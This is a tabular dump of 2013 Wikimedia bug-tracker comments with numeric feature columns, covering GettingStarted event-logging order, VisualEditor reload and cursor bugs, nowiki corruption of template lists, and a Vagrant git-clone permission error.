250652,Logging broken for GettingStarted (page-save-success logged as page-impression),*** Bug 51208 has been marked as a duplicate of this bug. ***,,,1373589755,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51208 has been marked as a duplicate of this bug. ***
250648,Logging broken for GettingStarted (page-save-success logged as page-impression),"S's patch fixes the post-edit issue locally, which I believe is the same one I mentioned in comment 1.",,,1372823275,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9166666666666666,"S's patch fixes the post-edit issue locally, which I believe is the same one I mentioned in comment 1."
250644,Logging broken for GettingStarted (page-save-success logged as page-impression),"Change 71575 merged by jenkins-bot:
postEdit needs to run before GS logging

https://gerrit.wikimedia.org/r/71575",,,1372822882,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.277777777777778,1.0,"Change 71575 merged by jenkins-bot:
postEdit needs to run before GS logging

GERRIT_URL"
250641,Logging broken for GettingStarted (page-save-success logged as page-impression),"Change 71575 had a related patch set uploaded by Spage:
postEdit module needs to run before openTask

https://gerrit.wikimedia.org/r/71575",,,1372740115,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.619047619047619,1.0,"Change 71575 had a related patch set uploaded by Spage:
postEdit module needs to run before openTask

GERRIT_URL"
250637,Logging broken for GettingStarted (page-save-success logged as page-impression),"GettingStarted only logs page-save-success if wgPostEdit is true. On my local wiki I printed log messages from the two routines, and they sometimes came out:
   about to log returnto page-impression
   postEdit.js set wgPostEdit true!

So the postEdit.js is running *after* openTask.js and that's why the wrong event is logged. On enwiki with resourceLoaderDebug cookie it did log a page-save-success event (go look at GettingStartedNavbar_5588671 where event_userId = 19275523), but without the RL debug in regular operation GS logs page-impression.

RL loads postEdit first in its mw.loader.load() call at the end of the page body, but I don't know what RL's guarantee of code execution ordering is.

Adding a dependency to ext.gettingstarted.openTask:
        'mediawiki.action.view.postEdit', // need this to run prior

seemed to fix it locally; another fix would be to use 
        mw.hook( 'postEdit' ).add( function ()
as VE does instead of changing the action from page-impression to page-save-success.

I don't know how VE affects this, this was all clicking [Edit source].",,,1372739582,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,3,False,,,0,,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,1.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,2.6666666666666665,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,5.333333333333333,8.333333333333334,0.0,1.6666666666666667,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.666666666666667,0.6666666666666666,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.0,13.333333333333334,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,3.0,2.3333333333333335,5.666666666666667,1.3333333333333333,1.3333333333333333,5.666666666666667,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,0.3333333333333333,1.3333333333333333,0.0,3.0,8.333333333333334,4.666666666666667,0.0,1.6666666666666667,0.0,3.0,0.0,1.3333333333333333,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,4.202702702702703,0.7567567567567567,"GettingStarted only logs page-save-success if wgPostEdit is true. On my local wiki I printed log messages from the two routines, and they sometimes came out:
   about to log returnto page-impression
   postEdit.js set wgPostEdit true!

So the postEdit.js is running *after* openTask.js and that's why the wrong event is logged. On enwiki with resourceLoaderDebug cookie it did log a page-save-success event (go look at GettingStartedNavbar_5588671 where event_userId = 19275523), but without the RL debug in regular operation GS logs page-impression.

RL loads postEdit first in its mw.loader.load() call at the end of the page body, but I don't know what RL's guarantee of code execution ordering is.

Adding a dependency to ext.gettingstarted.openTask:
        'mediawiki.action.view.postEdit', // need this to run prior

seemed to fix it locally; another fix would be to use 
        mw.hook( 'postEdit' ).add( function ()
as VE does instead of changing the action from page-impression to page-save-success.

I don't know how VE affects this, this was all clicking [Edit source]."
250632,Logging broken for GettingStarted (page-save-success logged as page-impression),"**swalling** wrote:

(In reply to comment #1)
> The latest GettingStartedNavbar table is GettingStartedNavbar_5588671
> (easiest
> way to see is SHOW TABLES).
> 
> However, that doesn't convincingly explain why the latest (by timestamp)
> enwiki
> entries in GettingStartedNavbar_5496876 are a long string of
> page-save-attempt
> (the last of which is on 2013-06-26), but the latest page-save-success is
> 2013-06-06.
> 
> It could be a coincidence, but it's worth looking into.

Okay, you were correct, this is worth looking in to. In the most recent logs (GettingStartedNavbar_5588671) it seems we are not logging any page-save-success events for the returnto funnel. Logging for other events in the returnto funnel seem normal, and page saves all gettingstarted funnels (copyedit, clarify, addlinks) are normal.",,,1372275305,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,2,False,,,-1,,2.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,6.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,1.5,0.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,1.0,5.0,0.0,0.0,0.0,0.5,1.5,0.5,0.5,0.0,2.5,6.0,6.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,3.736722571628232,0.5992313067784766,"**swalling** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Okay, you were correct, this is worth looking in to. In the most recent logs (GettingStartedNavbar_5588671) it seems we are not logging any page-save-success events for the returnto funnel. Logging for other events in the returnto funnel seem normal, and page saves all gettingstarted funnels (copyedit, clarify, addlinks) are normal."
250627,Logging broken for GettingStarted (page-save-success logged as page-impression),"**swalling** wrote:

(In reply to comment #1)
> The latest GettingStartedNavbar table is GettingStartedNavbar_5588671
> (easiest
> way to see is SHOW TABLES).
> 

Resolving as not a bug, accordingly, because there's no RESOLVED STEVENISDUMB. ;)",,,1372268511,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.317073170731707,0.7317073170731707,"**swalling** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

Resolving as not a bug, accordingly, because there's no RESOLVED STEVENISDUMB. ;)"
250622,Logging broken for GettingStarted (page-save-success logged as page-impression),"The latest GettingStartedNavbar table is GettingStartedNavbar_5588671 (easiest way to see is SHOW TABLES).

However, that doesn't convincingly explain why the latest (by timestamp) enwiki entries in GettingStartedNavbar_5496876 are a long string of page-save-attempt (the last of which is on 2013-06-26), but the latest page-save-success is 2013-06-06.

It could be a coincidence, but it's worth looking into.",,,1372208974,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-q3v5q4q6bifjgxghffaq,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,1.0,10.0,5.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,8.0,2.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,7.0,7.0,9.0,1.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,1.0,0.0,5.0,0.0,4.045454545454546,0.6477272727272727,"The latest GettingStartedNavbar table is GettingStartedNavbar_5588671 (easiest way to see is SHOW TABLES).

However, that doesn't convincingly explain why the latest (by timestamp) enwiki entries in GettingStartedNavbar_5496876 are a long string of page-save-attempt (the last of which is on 2013-06-26), but the latest page-save-success is 2013-06-06.

It could be a coincidence, but it's worth looking into."
52181,VisualEditor: weird behaviour on reload following save (JS not loading?),"Specifically, a lot of JS-dependent things simply don't seem to work. Mostly those are gadgets (no big deal) but on reload, section edit links take you to the source editor. This is probably the most critical; I can imagine a workflow in which a newbie makes a change in the VE, saves, sees something else to tweak, goes to edit...ack! Broken the site!

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372172160,1373162765.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-txtftm3ohgrpjqzazgnp,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,1.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,8.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,7.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,9.0,0.0,1.0,12.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,3.693877551020408,0.7346938775510204,"Specifically, a lot of JS-dependent things simply don't seem to work. Mostly those are gadgets (no big deal) but on reload, section edit links take you to the source editor. This is probably the most critical; I can imagine a workflow in which a newbie makes a change in the VE, saves, sees something else to tweak, goes to edit...ack! Broken the site!

--------------------------
**Version**: unspecified
**Severity**: normal"
249455,VisualEditor: weird behaviour on reload following save (JS not loading?),"Yeah, sorry about this bug, and my tardiness in replying; this was bug 49620, which we fixed just before you posted this, but only deployed the next day.

*** This bug has been marked as a duplicate of bug 49620 ***",,,1373162765,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-txtftm3ohgrpjqzazgnp,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3846153846153846,0.7307692307692307,"Yeah, sorry about this bug, and my tardiness in replying; this was bug 49620, which we fixed just before you posted this, but only deployed the next day.

*** This bug has been marked as a duplicate of bug 49620 ***"
52168,VisualEditor: Odd behavior using arrow keys for cursor movement,"Normally I would rewrite the bug description for bz, but JohnCD has given a very good demonstration on-wiki of strange cursor movements when navigating using arrow keys:

http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=561499916#Some_funnies

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=561499916#Some_funnies",Needs Triage,90.0,1372159200,1373162663.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-yllnjqjrkuliux5dxtws,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,14.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,3.9322033898305087,0.6779661016949152,"Normally I would rewrite the bug description for bz, but JohnCD has given a very good demonstration on-wiki of strange cursor movements when navigating using arrow keys:

URL

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
248776,VisualEditor: Odd behavior using arrow keys for cursor movement,"This is a duplicate of bug 48847, which we fixed last week; sorry for not getting to this bug until now.

*** This bug has been marked as a duplicate of bug 48847 ***",,,1373162663,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yllnjqjrkuliux5dxtws,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.1904761904761907,0.6904761904761905,"This is a duplicate of bug 48847, which we fixed last week; sorry for not getting to this bug until now.

*** This bug has been marked as a duplicate of bug 48847 ***"
52147,"<nowiki> tags added to (valid) list in a template parameter, corrupting them","In general,

{{foo
bar = 
* 1
* 2
* 3
}}

… is RT'ing to 

{{foo
bar = <nowiki>* 1
* 2
* 3</nowiki>
}}

Examples: 

* https://en.wikipedia.org/w/index.php?title=Riddler&diff=561149660&oldid=561096940
* https://en.wikipedia.org/w/index.php?title=Schuylar_Oordt&diff=561438828&oldid=561406705

VisualEditor bug (to prevent dirty-DOMing and so hide this bug on RT) is bug 50070, but this will still occur when users edit the template unless this is recognised as valid.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50070",Needs Triage,90.0,1372125540,1372127067.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bfsjo6ol2jmfu3gdf4ch,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,9.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,8.5,1.5,1.5,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,4.0,4.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,2.774193548387097,0.564516129032258,"In general,

{{foo
bar = 
* 1
* 2
* 3
}}

… is RT'ing to 

{{foo
bar = <nowiki>* 1
* 2
* 3</nowiki>
}}

Examples: 

* URL
* URL

VisualEditor bug (to prevent dirty-DOMing and so hide this bug on RT) is bug 50070, but this will still occur when users edit the template unless this is recognised as valid.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
247575,"<nowiki> tags added to (valid) list in a template parameter, corrupting them","

*** This bug has been marked as a duplicate of bug 50144 ***",,,1372127067,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-bfsjo6ol2jmfu3gdf4ch,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50144 ***"
52143,Missing root git config file when cloning,"After modifying site.pp and provisioning, I got:

notice: /Stage[main]/Role::Eventlogging/Mediawiki::Extension[EventLogging]/Git::Clone[mediawiki/extensions/EventLogging]/Exec[git clone mediawiki/extensions/EventLogging]/returns: fatal: unable to access '/root/.config/git/config': Permission denied                                                                                                                       
resulting in:

err: /Stage[main]/Role::Eventlogging/Mediawiki::Extension[EventLogging]/Git::Clone[mediawiki/extensions/EventLogging]/Exec[git clone mediawiki/extensions/EventLogging]/returns: change from notrun to 0 failed: git clone https://gerrit.wikimedia.org/r/p/mediawiki/extensions/EventLogging.git /vagrant/mediawiki/extensions/EventLogging returned 128 instead of one of [0] at /tmp/vagrant-puppet/modules-0/git/manifests/clone.pp:40

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372121400,1373095093.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-tn6apoz6stp2eozgwscp,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,1.5,1.0,5.5,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,0.0,0.5,5.5,8.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,6.875,0.6000000000000001,"After modifying site.pp and provisioning, I got:

notice: /Stage[main]/Role::Eventlogging/Mediawiki::Extension[EventLogging]/Git::Clone[mediawiki/extensions/EventLogging]/Exec[git clone mediawiki/extensions/EventLogging]/returns: fatal: unable to access '/root/.config/git/config': Permission denied                                                                                                                       
resulting in:

err: /Stage[main]/Role::Eventlogging/Mediawiki::Extension[EventLogging]/Git::Clone[mediawiki/extensions/EventLogging]/Exec[git clone mediawiki/extensions/EventLogging]/returns: change from notrun to 0 failed: git clone URL /vagrant/mediawiki/extensions/EventLogging returned 128 instead of one of [0] at /tmp/vagrant-puppet/modules-0/git/manifests/clone.pp:40

--------------------------
**Version**: unspecified
**Severity**: normal"
247419,Missing root git config file when cloning,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.],,,1378939564,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-tn6apoz6stp2eozgwscp,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,3.88,0.88,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.]
247414,Missing root git config file when cloning,"As of git 1.8.1.1 and above, if the home directory can't be accessed, it results in a fatal error. That was the cause of the error. I fixed it in gerrit change 71165.",,,1373095093,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-tn6apoz6stp2eozgwscp,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,8.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,8.0,15.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4358974358974357,0.7692307692307693,"As of git 1.8.1.1 and above, if the home directory can't be accessed, it results in a fatal error. That was the cause of the error. I fixed it in gerrit change 71165."
247409,Missing root git config file when cloning,"Change 71165 had a related patch set uploaded by Ori.livneh:
Set $HOME when git-cloning

https://gerrit.wikimedia.org/r/71165",,,1372480935,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tn6apoz6stp2eozgwscp,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,24.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,"Change 71165 had a related patch set uploaded by Ori.livneh:
Set $HOME when git-cloning

GERRIT_URL"
247403,Missing root git config file when cloning,"Happens to me too. I did `git pull --ff-only` on my host, added ""include role::visualeditor"" to puppet/manifests/site.pp, and tried to run vagrant for the first time in weeks. I tried vagrant up, vagrant reload, and vagrant provision, and all failed early on with variations of the same error as above:

[default] Running provisioner: puppet...
Running Puppet with site.pp...
info: Applying configuration version '1372472629'
notice: /Stage[main]/Role::Visualeditor/Mediawiki::Extension[VisualEditor]/Git::Clone[mediawiki/extensions/VisualEditor]/Exec[git clone mediawiki/extensions/VisualEditor]/returns: fatal: unable to access '/root/.config/git/config': Permission denied

I can `vagrant ssh` and the wiki is running on http://127.0.0.1:8080/ , but Special:Version says I don't have VisualEditor installed. I'm running Ubuntu 13.04.",,,1372474317,,PHID-USER-gbl4hfak3cfurt3c7skd,True,,,PHID-TASK-tn6apoz6stp2eozgwscp,task_subcomment,,True,c1,2,False,,,-1,,0.5,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,4.0,0.0,3.5,7.5,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.5,0.0,0.0,3.5,0.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,4.5,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.5,13.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,4.0,7.5,7.5,0.0,3.5,0.0,4.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,1.0,4.75,0.722972972972973,"Happens to me too. I did CODE on my host, added ""include role::visualeditor"" to 